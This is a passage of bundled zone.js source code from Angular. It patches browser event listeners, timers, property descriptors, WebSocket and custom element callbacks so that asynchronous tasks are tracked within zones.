proto[REMOVE_ALL_LISTENERS_EVENT_LISTENER] = function () {\n var target = this || _global;\n var eventName = arguments[0];\n if (!eventName) {\n var keys = Object.keys(target);\n for (var i = 0; i < keys.length; i++) {\n var prop = keys[i];\n var match = EVENT_NAME_SYMBOL_REGX.exec(prop);\n var evtName = match && match[1];\n // in nodejs EventEmitter, removeListener event is\n // used for monitoring the removeListener call,\n // so just keep removeListener eventListener until\n // all other eventListeners are removed\n if (evtName && evtName !== 'removeListener') {\n this[REMOVE_ALL_LISTENERS_EVENT_LISTENER].call(this, evtName);\n }\n }\n // remove removeListener listener finally\n this[REMOVE_ALL_LISTENERS_EVENT_LISTENER].call(this, 'removeListener');\n }\n else {\n var symbolEventNames = zoneSymbolEventNames$1[eventName];\n if (symbolEventNames) {\n var symbolEventName = symbolEventNames[FALSE_STR];\n var symbolCaptureEventName = symbolEventNames[TRUE_STR];\n var tasks = target[symbolEventName];\n var captureTasks = target[symbolCaptureEventName];\n if (tasks) {\n var removeTasks = tasks.slice();\n for (var i = 0; i < removeTasks.length; i++) {\n var task = removeTasks[i];\n var delegate = task.originalDelegate ? task.originalDelegate : task.callback;\n this[REMOVE_EVENT_LISTENER].call(this, eventName, delegate, task.options);\n }\n }\n if (captureTasks) {\n var removeTasks = captureTasks.slice();\n for (var i = 0; i < removeTasks.length; i++) {\n var task = removeTasks[i];\n var delegate = task.originalDelegate ? task.originalDelegate : task.callback;\n this[REMOVE_EVENT_LISTENER].call(this, eventName, delegate, task.options);\n }\n }\n }\n }\n if (returnTarget) {\n return this;\n }\n };\n // for native toString patch\n attachOriginToPatched(proto[ADD_EVENT_LISTENER], nativeAddEventListener);\n attachOriginToPatched(proto[REMOVE_EVENT_LISTENER], nativeRemoveEventListener);\n if (nativeRemoveAllListeners) {\n attachOriginToPatched(proto[REMOVE_ALL_LISTENERS_EVENT_LISTENER], nativeRemoveAllListeners);\n }\n if (nativeListeners) {\n attachOriginToPatched(proto[LISTENERS_EVENT_LISTENER], nativeListeners);\n }\n return true;\n }\n var results = [];\n for (var i = 0; i < apis.length; i++) {\n results[i] = patchEventTargetMethods(apis[i], patchOptions);\n }\n return results;\n}\nfunction findEventTasks(target, eventName) {\n var foundTasks = [];\n for (var prop in target) {\n var match = EVENT_NAME_SYMBOL_REGX.exec(prop);\n var evtName = match && match[1];\n if (evtName && (!eventName || evtName === eventName)) {\n var tasks = target[prop];\n if (tasks) {\n for (var i = 0; i < tasks.length; i++) {\n foundTasks.push(tasks[i]);\n }\n }\n }\n }\n return foundTasks;\n}\nfunction patchEventPrototype(global, api) {\n var Event = global['Event'];\n if (Event && Event.prototype) {\n api.patchMethod(Event.prototype, 'stopImmediatePropagation', function (delegate) { return function (self, args) {\n self[IMMEDIATE_PROPAGATION_SYMBOL] = true;\n // we need to call the native stopImmediatePropagation\n // in case in some hybrid application, some part of\n // application will be controlled by zone, some are not\n delegate && delegate.apply(self, args);\n }; });\n }\n}\n\n/**\n * @license\n * Copyright Google Inc. All Rights Reserved.\n *\n * Use of this source code is governed by an MIT-style license that can be\n * found in the LICENSE file at https://angular.io/license\n */\n/**\n * @fileoverview\n * @suppress {missingRequire}\n */\nvar taskSymbol = zoneSymbol('zoneTask');\nfunction patchTimer(window, setName, cancelName, nameSuffix) {\n var setNative = null;\n var clearNative = null;\n setName += nameSuffix;\n cancelName += nameSuffix;\n var tasksByHandleId = {};\n function scheduleTask(task) {\n var data = task.data;\n function timer() {\n try {\n task.invoke.apply(this, arguments);\n }\n finally {\n // issue-934, task will be cancelled\n // even it is a periodic task such as\n // setInterval\n if (!(task.data && task.data.isPeriodic)) {\n if (typeof data.handleId === 'number') {\n // in non-nodejs env, we remove timerId\n // from local cache\n delete tasksByHandleId[data.handleId];\n }\n else if (data.handleId) {\n // Node returns complex objects as handleIds\n // we remove task reference from timer object\n data.handleId[taskSymbol] = null;\n }\n }\n }\n }\n data.args[0] = timer;\n data.handleId = setNative.apply(window, data.args);\n return task;\n }\n function clearTask(task) {\n return clearNative(task.data.handleId);\n }\n setNative =\n patchMethod(window, setName, function (delegate) { return function (self, args) {\n if (typeof args[0] === 'function') {\n var options = {\n isPeriodic: nameSuffix === 'Interval',\n delay: (nameSuffix === 'Timeout' || nameSuffix === 'Interval') ? args[1] || 0 :\n undefined,\n args: args\n };\n var task = scheduleMacroTaskWithCurrentZone(setName, args[0], options, scheduleTask, clearTask);\n if (!task) {\n return task;\n }\n // Node.js must additionally support the ref and unref functions.\n var handle = task.data.handleId;\n if (typeof handle === 'number') {\n // for non nodejs env, we save handleId: task\n // mapping in local cache for clearTimeout\n tasksByHandleId[handle] = task;\n }\n else if (handle) {\n // for nodejs env, we save task\n // reference in timerId Object for clearTimeout\n handle[taskSymbol] = task;\n }\n // check whether handle is null, because some polyfill or browser\n // may return undefined from setTimeout/setInterval/setImmediate/requestAnimationFrame\n if (handle && handle.ref && handle.unref && typeof handle.ref === 'function' &&\n typeof handle.unref === 'function') {\n task.ref = handle.ref.bind(handle);\n task.unref = handle.unref.bind(handle);\n }\n if (typeof handle === 'number' || handle) {\n return handle;\n }\n return task;\n }\n else {\n // cause an error by calling it directly.\n return delegate.apply(window, args);\n }\n }; });\n clearNative =\n patchMethod(window, cancelName, function (delegate) { return function (self, args) {\n var id = args[0];\n var task;\n if (typeof id === 'number') {\n // non nodejs env.\n task = tasksByHandleId[id];\n }\n else {\n // nodejs env.\n task = id && id[taskSymbol];\n // other environments.\n if (!task) {\n task = id;\n }\n }\n if (task && typeof task.type === 'string') {\n if (task.state !== 'notScheduled' &&\n (task.cancelFn && task.data.isPeriodic || task.runCount === 0)) {\n if (typeof id === 'number') {\n delete tasksByHandleId[id];\n }\n else if (id) {\n id[taskSymbol] = null;\n }\n // Do not cancel already canceled functions\n task.zone.cancelTask(task);\n }\n }\n else {\n // cause an error by calling it directly.\n delegate.apply(window, args);\n }\n }; });\n}\n\n/**\n * @license\n * Copyright Google Inc. All Rights Reserved.\n *\n * Use of this source code is governed by an MIT-style license that can be\n * found in the LICENSE file at https://angular.io/license\n */\n/*\n * This is necessary for Chrome and Chrome mobile, to enable\n * things like redefining `createdCallback` on an element.\n */\nvar _defineProperty = Object[zoneSymbol('defineProperty')] = Object.defineProperty;\nvar _getOwnPropertyDescriptor = Object[zoneSymbol('getOwnPropertyDescriptor')] =\n Object.getOwnPropertyDescriptor;\nvar _create = Object.create;\nvar unconfigurablesKey = zoneSymbol('unconfigurables');\nfunction propertyPatch() {\n Object.defineProperty = function (obj, prop, desc) {\n if (isUnconfigurable(obj, prop)) {\n throw new TypeError('Cannot assign to read only property \\'' + prop + '\\' of ' + obj);\n }\n var originalConfigurableFlag = desc.configurable;\n if (prop !== 'prototype') {\n desc = rewriteDescriptor(obj, prop, desc);\n }\n return _tryDefineProperty(obj, prop, desc, originalConfigurableFlag);\n };\n Object.defineProperties = function (obj, props) {\n Object.keys(props).forEach(function (prop) {\n Object.defineProperty(obj, prop, props[prop]);\n });\n return obj;\n };\n Object.create = function (obj, proto) {\n if (typeof proto === 'object' && !Object.isFrozen(proto)) {\n Object.keys(proto).forEach(function (prop) {\n proto[prop] = rewriteDescriptor(obj, prop, proto[prop]);\n });\n }\n return _create(obj, proto);\n };\n Object.getOwnPropertyDescriptor = function (obj, prop) {\n var desc = _getOwnPropertyDescriptor(obj, prop);\n if (desc && isUnconfigurable(obj, prop)) {\n desc.configurable = false;\n }\n return desc;\n };\n}\nfunction _redefineProperty(obj, prop, desc) {\n var originalConfigurableFlag = desc.configurable;\n desc = rewriteDescriptor(obj, prop, desc);\n return _tryDefineProperty(obj, prop, desc, originalConfigurableFlag);\n}\nfunction isUnconfigurable(obj, prop) {\n return obj && obj[unconfigurablesKey] && obj[unconfigurablesKey][prop];\n}\nfunction rewriteDescriptor(obj, prop, desc) {\n // issue-927, if the desc is frozen, don't try to change the desc\n if (!Object.isFrozen(desc)) {\n desc.configurable = true;\n }\n if (!desc.configurable) {\n // issue-927, if the obj is frozen, don't try to set the desc to obj\n if (!obj[unconfigurablesKey] && !Object.isFrozen(obj)) {\n _defineProperty(obj, unconfigurablesKey, { writable: true, value: {} });\n }\n if (obj[unconfigurablesKey]) {\n obj[unconfigurablesKey][prop] = true;\n }\n }\n return desc;\n}\nfunction _tryDefineProperty(obj, prop, desc, originalConfigurableFlag) {\n try {\n return _defineProperty(obj, prop, desc);\n }\n catch (error) {\n if (desc.configurable) {\n // In case of errors, when the configurable flag was likely set by rewriteDescriptor(), let's\n // retry with the original flag value\n if (typeof originalConfigurableFlag == 'undefined') {\n delete desc.configurable;\n }\n else {\n desc.configurable = originalConfigurableFlag;\n }\n try {\n return _defineProperty(obj, prop, desc);\n }\n catch (error) {\n var descJson = null;\n try {\n descJson = JSON.stringify(desc);\n }\n catch (error) {\n descJson = desc.toString();\n }\n console.log(\"Attempting to configure '\" + prop + \"' with descriptor '\" + descJson + \"' on object '\" + obj + \"' and got error, giving up: \" + error);\n }\n }\n else {\n throw error;\n }\n }\n}\n\n/**\n * @license\n * Copyright Google Inc. All Rights Reserved.\n *\n * Use of this source code is governed by an MIT-style license that can be\n * found in the LICENSE file at https://angular.io/license\n */\n// we have to patch the instance since the proto is non-configurable\nfunction apply(api, _global) {\n var WS = _global.WebSocket;\n // On Safari window.EventTarget doesn't exist so need to patch WS add/removeEventListener\n // On older Chrome, no need since EventTarget was already patched\n if (!_global.EventTarget) {\n patchEventTarget(_global, [WS.prototype]);\n }\n _global.WebSocket = function (x, y) {\n var socket = arguments.length > 1 ? new WS(x, y) : new WS(x);\n var proxySocket;\n var proxySocketProto;\n // Safari 7.0 has non-configurable own 'onmessage' and friends properties on the socket instance\n var onmessageDesc = ObjectGetOwnPropertyDescriptor(socket, 'onmessage');\n if (onmessageDesc && onmessageDesc.configurable === false) {\n proxySocket = ObjectCreate(socket);\n // socket have own property descriptor 'onopen', 'onmessage', 'onclose', 'onerror'\n // but proxySocket not, so we will keep socket as prototype and pass it to\n // patchOnProperties method\n proxySocketProto = socket;\n [ADD_EVENT_LISTENER_STR, REMOVE_EVENT_LISTENER_STR, 'send', 'close'].forEach(function (propName) {\n proxySocket[propName] = function () {\n var args = ArraySlice.call(arguments);\n if (propName === ADD_EVENT_LISTENER_STR || propName === REMOVE_EVENT_LISTENER_STR) {\n var eventName = args.length > 0 ? args[0] : undefined;\n if (eventName) {\n var propertySymbol = Zone.__symbol__('ON_PROPERTY' + eventName);\n socket[propertySymbol] = proxySocket[propertySymbol];\n }\n }\n return socket[propName].apply(socket, args);\n };\n });\n }\n else {\n // we can patch the real socket\n proxySocket = socket;\n }\n patchOnProperties(proxySocket, ['close', 'error', 'message', 'open'], proxySocketProto);\n return proxySocket;\n };\n var globalWebSocket = _global['WebSocket'];\n for (var prop in WS) {\n globalWebSocket[prop] = WS[prop];\n }\n}\n\n/**\n * @license\n * Copyright Google Inc. All Rights Reserved.\n *\n * Use of this source code is governed by an MIT-style license that can be\n * found in the LICENSE file at https://angular.io/license\n */\n/**\n * @fileoverview\n * @suppress {globalThis}\n */\nvar globalEventHandlersEventNames = [\n 'abort',\n 'animationcancel',\n 'animationend',\n 'animationiteration',\n 'auxclick',\n 'beforeinput',\n 'blur',\n 'cancel',\n 'canplay',\n 'canplaythrough',\n 'change',\n 'compositionstart',\n 'compositionupdate',\n 'compositionend',\n 'cuechange',\n 'click',\n 'close',\n 'contextmenu',\n 'curechange',\n 'dblclick',\n 'drag',\n 'dragend',\n 'dragenter',\n 'dragexit',\n 'dragleave',\n 'dragover',\n 'drop',\n 'durationchange',\n 'emptied',\n 'ended',\n 'error',\n 'focus',\n 'focusin',\n 'focusout',\n 'gotpointercapture',\n 'input',\n 'invalid',\n 'keydown',\n 'keypress',\n 'keyup',\n 'load',\n 'loadstart',\n 'loadeddata',\n 'loadedmetadata',\n 'lostpointercapture',\n 'mousedown',\n 'mouseenter',\n 'mouseleave',\n 'mousemove',\n 'mouseout',\n 'mouseover',\n 'mouseup',\n 'mousewheel',\n 'orientationchange',\n 'pause',\n 'play',\n 'playing',\n 'pointercancel',\n 'pointerdown',\n 'pointerenter',\n 'pointerleave',\n 'pointerlockchange',\n 'mozpointerlockchange',\n 'webkitpointerlockerchange',\n 'pointerlockerror',\n 'mozpointerlockerror',\n 'webkitpointerlockerror',\n 'pointermove',\n 'pointout',\n 'pointerover',\n 'pointerup',\n 'progress',\n 'ratechange',\n 'reset',\n 'resize',\n 'scroll',\n 'seeked',\n 'seeking',\n 'select',\n 'selectionchange',\n 'selectstart',\n 'show',\n 'sort',\n 'stalled',\n 'submit',\n 'suspend',\n 'timeupdate',\n 'volumechange',\n 'touchcancel',\n 'touchmove',\n 'touchstart',\n 'touchend',\n 'transitioncancel',\n 'transitionend',\n 'waiting',\n 'wheel'\n];\nvar documentEventNames = [\n 'afterscriptexecute', 'beforescriptexecute', 'DOMContentLoaded', 'freeze', 'fullscreenchange',\n 'mozfullscreenchange', 'webkitfullscreenchange', 'msfullscreenchange', 'fullscreenerror',\n 'mozfullscreenerror', 'webkitfullscreenerror', 'msfullscreenerror', 'readystatechange',\n 'visibilitychange', 'resume'\n];\nvar windowEventNames = [\n 'absolutedeviceorientation',\n 'afterinput',\n 'afterprint',\n 'appinstalled',\n 'beforeinstallprompt',\n 'beforeprint',\n 'beforeunload',\n 'devicelight',\n 'devicemotion',\n 'deviceorientation',\n 'deviceorientationabsolute',\n 'deviceproximity',\n 'hashchange',\n 'languagechange',\n 'message',\n 'mozbeforepaint',\n 'offline',\n 'online',\n 'paint',\n 'pageshow',\n 'pagehide',\n 'popstate',\n 'rejectionhandled',\n 'storage',\n 'unhandledrejection',\n 'unload',\n 'userproximity',\n 'vrdisplyconnected',\n 'vrdisplaydisconnected',\n 'vrdisplaypresentchange'\n];\nvar htmlElementEventNames = [\n 'beforecopy', 'beforecut', 'beforepaste', 'copy', 'cut', 'paste', 'dragstart', 'loadend',\n 'animationstart', 'search', 'transitionrun', 'transitionstart', 'webkitanimationend',\n 'webkitanimationiteration', 'webkitanimationstart', 'webkittransitionend'\n];\nvar mediaElementEventNames = ['encrypted', 'waitingforkey', 'msneedkey', 'mozinterruptbegin', 'mozinterruptend'];\nvar ieElementEventNames = [\n 'activate',\n 'afterupdate',\n 'ariarequest',\n 'beforeactivate',\n 'beforedeactivate',\n 'beforeeditfocus',\n 'beforeupdate',\n 'cellchange',\n 'controlselect',\n 'dataavailable',\n 'datasetchanged',\n 'datasetcomplete',\n 'errorupdate',\n 'filterchange',\n 'layoutcomplete',\n 'losecapture',\n 'move',\n 'moveend',\n 'movestart',\n 'propertychange',\n 'resizeend',\n 'resizestart',\n 'rowenter',\n 'rowexit',\n 'rowsdelete',\n 'rowsinserted',\n 'command',\n 'compassneedscalibration',\n 'deactivate',\n 'help',\n 'mscontentzoom',\n 'msmanipulationstatechanged',\n 'msgesturechange',\n 'msgesturedoubletap',\n 'msgestureend',\n 'msgesturehold',\n 'msgesturestart',\n 'msgesturetap',\n 'msgotpointercapture',\n 'msinertiastart',\n 'mslostpointercapture',\n 'mspointercancel',\n 'mspointerdown',\n 'mspointerenter',\n 'mspointerhover',\n 'mspointerleave',\n 'mspointermove',\n 'mspointerout',\n 'mspointerover',\n 'mspointerup',\n 'pointerout',\n 'mssitemodejumplistitemremoved',\n 'msthumbnailclick',\n 'stop',\n 'storagecommit'\n];\nvar webglEventNames = ['webglcontextrestored', 'webglcontextlost', 'webglcontextcreationerror'];\nvar formEventNames = ['autocomplete', 'autocompleteerror'];\nvar detailEventNames = ['toggle'];\nvar frameEventNames = ['load'];\nvar frameSetEventNames = ['blur', 'error', 'focus', 'load', 'resize', 'scroll', 'messageerror'];\nvar marqueeEventNames = ['bounce', 'finish', 'start'];\nvar XMLHttpRequestEventNames = [\n 'loadstart', 'progress', 'abort', 'error', 'load', 'progress', 'timeout', 'loadend',\n 'readystatechange'\n];\nvar IDBIndexEventNames = ['upgradeneeded', 'complete', 'abort', 'success', 'error', 'blocked', 'versionchange', 'close'];\nvar websocketEventNames = ['close', 'error', 'open', 'message'];\nvar workerEventNames = ['error', 'message'];\nvar eventNames = globalEventHandlersEventNames.concat(webglEventNames, formEventNames, detailEventNames, documentEventNames, windowEventNames, htmlElementEventNames, ieElementEventNames);\nfunction filterProperties(target, onProperties, ignoreProperties) {\n if (!ignoreProperties || ignoreProperties.length === 0) {\n return onProperties;\n }\n var tip = ignoreProperties.filter(function (ip) { return ip.target === target; });\n if (!tip || tip.length === 0) {\n return onProperties;\n }\n var targetIgnoreProperties = tip[0].ignoreProperties;\n return onProperties.filter(function (op) { return targetIgnoreProperties.indexOf(op) === -1; });\n}\nfunction patchFilteredProperties(target, onProperties, ignoreProperties, prototype) {\n // check whether target is available, sometimes target will be undefined\n // because different browser or some 3rd party plugin.\n if (!target) {\n return;\n }\n var filteredProperties = filterProperties(target, onProperties, ignoreProperties);\n patchOnProperties(target, filteredProperties, prototype);\n}\nfunction propertyDescriptorPatch(api, _global) {\n if (isNode && !isMix) {\n return;\n }\n var supportsWebSocket = typeof WebSocket !== 'undefined';\n if (canPatchViaPropertyDescriptor()) {\n var ignoreProperties = _global['__Zone_ignore_on_properties'];\n // for browsers that we can patch the descriptor: Chrome & Firefox\n if (isBrowser) {\n var internalWindow = window;\n var ignoreErrorProperties = isIE ? [{ target: internalWindow, ignoreProperties: ['error'] }] : [];\n // in IE/Edge, onProp not exist in window object, but in WindowPrototype\n // so we need to pass WindowPrototype to check onProp exist or not\n patchFilteredProperties(internalWindow, eventNames.concat(['messageerror']), ignoreProperties ? ignoreProperties.concat(ignoreErrorProperties) : ignoreProperties, ObjectGetPrototypeOf(internalWindow));\n patchFilteredProperties(Document.prototype, eventNames, ignoreProperties);\n if (typeof internalWindow['SVGElement'] !== 'undefined') {\n patchFilteredProperties(internalWindow['SVGElement'].prototype, eventNames, ignoreProperties);\n }\n patchFilteredProperties(Element.prototype, eventNames, ignoreProperties);\n patchFilteredProperties(HTMLElement.prototype, eventNames, ignoreProperties);\n patchFilteredProperties(HTMLMediaElement.prototype, mediaElementEventNames, ignoreProperties);\n patchFilteredProperties(HTMLFrameSetElement.prototype, windowEventNames.concat(frameSetEventNames), ignoreProperties);\n patchFilteredProperties(HTMLBodyElement.prototype, windowEventNames.concat(frameSetEventNames), ignoreProperties);\n patchFilteredProperties(HTMLFrameElement.prototype, frameEventNames, ignoreProperties);\n patchFilteredProperties(HTMLIFrameElement.prototype, frameEventNames, ignoreProperties);\n var HTMLMarqueeElement_1 = internalWindow['HTMLMarqueeElement'];\n if (HTMLMarqueeElement_1) {\n patchFilteredProperties(HTMLMarqueeElement_1.prototype, marqueeEventNames, ignoreProperties);\n }\n var Worker_1 = internalWindow['Worker'];\n if (Worker_1) {\n patchFilteredProperties(Worker_1.prototype, workerEventNames, ignoreProperties);\n }\n }\n patchFilteredProperties(XMLHttpRequest.prototype, XMLHttpRequestEventNames, ignoreProperties);\n var XMLHttpRequestEventTarget_1 = _global['XMLHttpRequestEventTarget'];\n if (XMLHttpRequestEventTarget_1) {\n patchFilteredProperties(XMLHttpRequestEventTarget_1 && XMLHttpRequestEventTarget_1.prototype, XMLHttpRequestEventNames, ignoreProperties);\n }\n if (typeof IDBIndex !== 'undefined') {\n patchFilteredProperties(IDBIndex.prototype, IDBIndexEventNames, ignoreProperties);\n patchFilteredProperties(IDBRequest.prototype, IDBIndexEventNames, ignoreProperties);\n patchFilteredProperties(IDBOpenDBRequest.prototype, IDBIndexEventNames, ignoreProperties);\n patchFilteredProperties(IDBDatabase.prototype, IDBIndexEventNames, ignoreProperties);\n patchFilteredProperties(IDBTransaction.prototype, IDBIndexEventNames, ignoreProperties);\n patchFilteredProperties(IDBCursor.prototype, IDBIndexEventNames, ignoreProperties);\n }\n if (supportsWebSocket) {\n patchFilteredProperties(WebSocket.prototype, websocketEventNames, ignoreProperties);\n }\n }\n else {\n // Safari, Android browsers (Jelly Bean)\n patchViaCapturingAllTheEvents();\n patchClass('XMLHttpRequest');\n if (supportsWebSocket) {\n apply(api, _global);\n }\n }\n}\nfunction canPatchViaPropertyDescriptor() {\n if ((isBrowser || isMix) && !ObjectGetOwnPropertyDescriptor(HTMLElement.prototype, 'onclick') &&\n typeof Element !== 'undefined') {\n // WebKit https://bugs.webkit.org/show_bug.cgi?id=134364\n // IDL interface attributes are not configurable\n var desc = ObjectGetOwnPropertyDescriptor(Element.prototype, 'onclick');\n if (desc && !desc.configurable)\n return false;\n }\n var ON_READY_STATE_CHANGE = 'onreadystatechange';\n var XMLHttpRequestPrototype = XMLHttpRequest.prototype;\n var xhrDesc = ObjectGetOwnPropertyDescriptor(XMLHttpRequestPrototype, ON_READY_STATE_CHANGE);\n // add enumerable and configurable here because in opera\n // by default XMLHttpRequest.prototype.onreadystatechange is undefined\n // without adding enumerable and configurable will cause onreadystatechange\n // non-configurable\n // and if XMLHttpRequest.prototype.onreadystatechange is undefined,\n // we should set a real desc instead a fake one\n if (xhrDesc) {\n ObjectDefineProperty(XMLHttpRequestPrototype, ON_READY_STATE_CHANGE, {\n enumerable: true,\n configurable: true,\n get: function () {\n return true;\n }\n });\n var req = new XMLHttpRequest();\n var result = !!req.onreadystatechange;\n // restore original desc\n ObjectDefineProperty(XMLHttpRequestPrototype, ON_READY_STATE_CHANGE, xhrDesc || {});\n return result;\n }\n else {\n var SYMBOL_FAKE_ONREADYSTATECHANGE_1 = zoneSymbol('fake');\n ObjectDefineProperty(XMLHttpRequestPrototype, ON_READY_STATE_CHANGE, {\n enumerable: true,\n configurable: true,\n get: function () {\n return this[SYMBOL_FAKE_ONREADYSTATECHANGE_1];\n },\n set: function (value) {\n this[SYMBOL_FAKE_ONREADYSTATECHANGE_1] = value;\n }\n });\n var req = new XMLHttpRequest();\n var detectFunc = function () { };\n req.onreadystatechange = detectFunc;\n var result = req[SYMBOL_FAKE_ONREADYSTATECHANGE_1] === detectFunc;\n req.onreadystatechange = null;\n return result;\n }\n}\nvar unboundKey = zoneSymbol('unbound');\n// Whenever any eventListener fires, we check the eventListener target and all parents\n// for `onwhatever` properties and replace them with zone-bound functions\n// - Chrome (for now)\nfunction patchViaCapturingAllTheEvents() {\n var _loop_1 = function (i) {\n var property = eventNames[i];\n var onproperty = 'on' + property;\n self.addEventListener(property, function (event) {\n var elt = event.target, bound, source;\n if (elt) {\n source = elt.constructor['name'] + '.' + onproperty;\n }\n else {\n source = 'unknown.' + onproperty;\n }\n while (elt) {\n if (elt[onproperty] && !elt[onproperty][unboundKey]) {\n bound = wrapWithCurrentZone(elt[onproperty], source);\n bound[unboundKey] = elt[onproperty];\n elt[onproperty] = bound;\n }\n elt = elt.parentElement;\n }\n }, true);\n };\n for (var i = 0; i < eventNames.length; i++) {\n _loop_1(i);\n }\n}\n\n/**\n * @license\n * Copyright Google Inc. All Rights Reserved.\n *\n * Use of this source code is governed by an MIT-style license that can be\n * found in the LICENSE file at https://angular.io/license\n */\nfunction eventTargetPatch(_global, api) {\n var WTF_ISSUE_555 = 'Anchor,Area,Audio,BR,Base,BaseFont,Body,Button,Canvas,Content,DList,Directory,Div,Embed,FieldSet,Font,Form,Frame,FrameSet,HR,Head,Heading,Html,IFrame,Image,Input,Keygen,LI,Label,Legend,Link,Map,Marquee,Media,Menu,Meta,Meter,Mod,OList,Object,OptGroup,Option,Output,Paragraph,Pre,Progress,Quote,Script,Select,Source,Span,Style,TableCaption,TableCell,TableCol,Table,TableRow,TableSection,TextArea,Title,Track,UList,Unknown,Video';\n var NO_EVENT_TARGET = 'ApplicationCache,EventSource,FileReader,InputMethodContext,MediaController,MessagePort,Node,Performance,SVGElementInstance,SharedWorker,TextTrack,TextTrackCue,TextTrackList,WebKitNamedFlow,Window,Worker,WorkerGlobalScope,XMLHttpRequest,XMLHttpRequestEventTarget,XMLHttpRequestUpload,IDBRequest,IDBOpenDBRequest,IDBDatabase,IDBTransaction,IDBCursor,DBIndex,WebSocket'\n .split(',');\n var EVENT_TARGET = 'EventTarget';\n var apis = [];\n var isWtf = _global['wtf'];\n var WTF_ISSUE_555_ARRAY = WTF_ISSUE_555.split(',');\n if (isWtf) {\n // Workaround for: https://github.com/google/tracing-framework/issues/555\n apis = WTF_ISSUE_555_ARRAY.map(function (v) { return 'HTML' + v + 'Element'; }).concat(NO_EVENT_TARGET);\n }\n else if (_global[EVENT_TARGET]) {\n apis.push(EVENT_TARGET);\n }\n else {\n // Note: EventTarget is not available in all browsers,\n // if it's not available, we instead patch the APIs in the IDL that inherit from EventTarget\n apis = NO_EVENT_TARGET;\n }\n var isDisableIECheck = _global['__Zone_disable_IE_check'] || false;\n var isEnableCrossContextCheck = _global['__Zone_enable_cross_context_check'] || false;\n var ieOrEdge = isIEOrEdge();\n var ADD_EVENT_LISTENER_SOURCE = '.addEventListener:';\n var FUNCTION_WRAPPER = '[object FunctionWrapper]';\n var BROWSER_TOOLS = 'function __BROWSERTOOLS_CONSOLE_SAFEFUNC() { [native code] }';\n // predefine all __zone_symbol__ + eventName + true/false string\n for (var i = 0; i < eventNames.length; i++) {\n var eventName = eventNames[i];\n var falseEventName = eventName + FALSE_STR;\n var trueEventName = eventName + TRUE_STR;\n var symbol = ZONE_SYMBOL_PREFIX + falseEventName;\n var symbolCapture = ZONE_SYMBOL_PREFIX + trueEventName;\n zoneSymbolEventNames$1[eventName] = {};\n zoneSymbolEventNames$1[eventName][FALSE_STR] = symbol;\n zoneSymbolEventNames$1[eventName][TRUE_STR] = symbolCapture;\n }\n // predefine all task.source string\n for (var i = 0; i < WTF_ISSUE_555.length; i++) {\n var target = WTF_ISSUE_555_ARRAY[i];\n var targets = globalSources[target] = {};\n for (var j = 0; j < eventNames.length; j++) {\n var eventName = eventNames[j];\n targets[eventName] = target + ADD_EVENT_LISTENER_SOURCE + eventName;\n }\n }\n var checkIEAndCrossContext = function (nativeDelegate, delegate, target, args) {\n if (!isDisableIECheck && ieOrEdge) {\n if (isEnableCrossContextCheck) {\n try {\n var testString = delegate.toString();\n if ((testString === FUNCTION_WRAPPER || testString == BROWSER_TOOLS)) {\n nativeDelegate.apply(target, args);\n return false;\n }\n }\n catch (error) {\n nativeDelegate.apply(target, args);\n return false;\n }\n }\n else {\n var testString = delegate.toString();\n if ((testString === FUNCTION_WRAPPER || testString == BROWSER_TOOLS)) {\n nativeDelegate.apply(target, args);\n return false;\n }\n }\n }\n else if (isEnableCrossContextCheck) {\n try {\n delegate.toString();\n }\n catch (error) {\n nativeDelegate.apply(target, args);\n return false;\n }\n }\n return true;\n };\n var apiTypes = [];\n for (var i = 0; i < apis.length; i++) {\n var type = _global[apis[i]];\n apiTypes.push(type && type.prototype);\n }\n // vh is validateHandler to check event handler\n // is valid or not(for security check)\n patchEventTarget(_global, apiTypes, { vh: checkIEAndCrossContext });\n api.patchEventTarget = patchEventTarget;\n return true;\n}\nfunction patchEvent(global, api) {\n patchEventPrototype(global, api);\n}\n\n/**\n * @license\n * Copyright Google Inc. All Rights Reserved.\n *\n * Use of this source code is governed by an MIT-style license that can be\n * found in the LICENSE file at https://angular.io/license\n */\nfunction patchCallbacks(target, targetName, method, callbacks) {\n var symbol = Zone.__symbol__(method);\n if (target[symbol]) {\n return;\n }\n var nativeDelegate = target[symbol] = target[method];\n target[method] = function (name, opts, options) {\n if (opts && opts.prototype) {\n callbacks.forEach(function (callback) {\n var source = targetName + \".\" + method + \"::\" + callback;\n var prototype = opts.prototype;\n if (prototype.hasOwnProperty(callback)) {\n var descriptor = ObjectGetOwnPropertyDescriptor(prototype, callback);\n if (descriptor && descriptor.value) {\n descriptor.value = wrapWithCurrentZone(descriptor.value, source);\n _redefineProperty(opts.prototype, callback, descriptor);\n }\n else {\n prototype[callback] = wrapWithCurrentZone(prototype[callback], source);\n }\n }\n else if (prototype[callback]) {\n prototype[callback] = wrapWithCurrentZone(prototype[callback], source);\n }\n });\n }\n return nativeDelegate.call(target, name, opts, options);\n };\n attachOriginToPatched(target[method], nativeDelegate);\n}\nfunction registerElementPatch(_global) {\n if ((!isBrowser && !isMix) || !('registerElement' in _global.document)) {\n return;\n }\n var callbacks = ['createdCallback', 'attachedCallback', 'detachedCallback', 'attributeChangedCallback'];\n patchCallbacks(document, 'Document', 'registerElement', callbacks);\n}\nfunction patchCustomElements(_global) {\n if ((!isBrowser && !isMix) || !('customElements' in _global)) {\n return;\n }\n var callbacks = ['connectedCallback', 'disconnectedCallback', 'adoptedCallback', 'attributeChangedCallback'];\n patchCallbacks(_global.customElements, 'customElements', 'define', callbacks);\n}\n\n/**\n * @license\n * Copyright Google Inc. All Rights Reserved.\n *\n * Use of this source code is governed by an MIT-style license that can be\n * found in the LICENSE file at https://angular.io/license\n */\n/**\n * @fileoverview\n * @suppress {missingRequire}\n */\nZone.__load_patch('util', function (global, Zone, api) {\n api.patchOnProperties = patchOnProperties;\n api.patchMethod = patchMethod;\n api.bindArguments = bindArguments;\n});\nZone.__load_patch('timers', function (global) {\n var set = 'set';\n var clear = 'clear';\n patchTimer(global, set, clear, 'Timeout');\n patchTimer(global, set, clear, 'Interval');\n patchTimer(global, set, clear, 'Immediate');\n});\nZone.__load_patch('requestAnimationFrame', function (global) {\n patchTimer(global, 'request', 'cancel', 'AnimationFrame');\n patchTimer(global, 'mozRequest', 'mozCancel', 'AnimationFrame');\n patchTimer(global, 'webkitRequest', 'webkitCancel', 'AnimationFrame');\n});\nZone.__load_patch('blocking', function (global, Zone) {\n var blockingMethods = ['alert', 'prompt', 'confirm'];\n for (var i = 0; i < blockingMethods.length; i++) {\n var name_1 = blockingMethods[i];\n patchMethod(global, name_1, function (delegate, symbol, name) {\n return function (s, args) {\n return Zone.current.run(delegate, global, args, name);\n };\n });\n }\n});\nZone.__load_patch('EventTarget', function (global, Zone, api) {\n // load 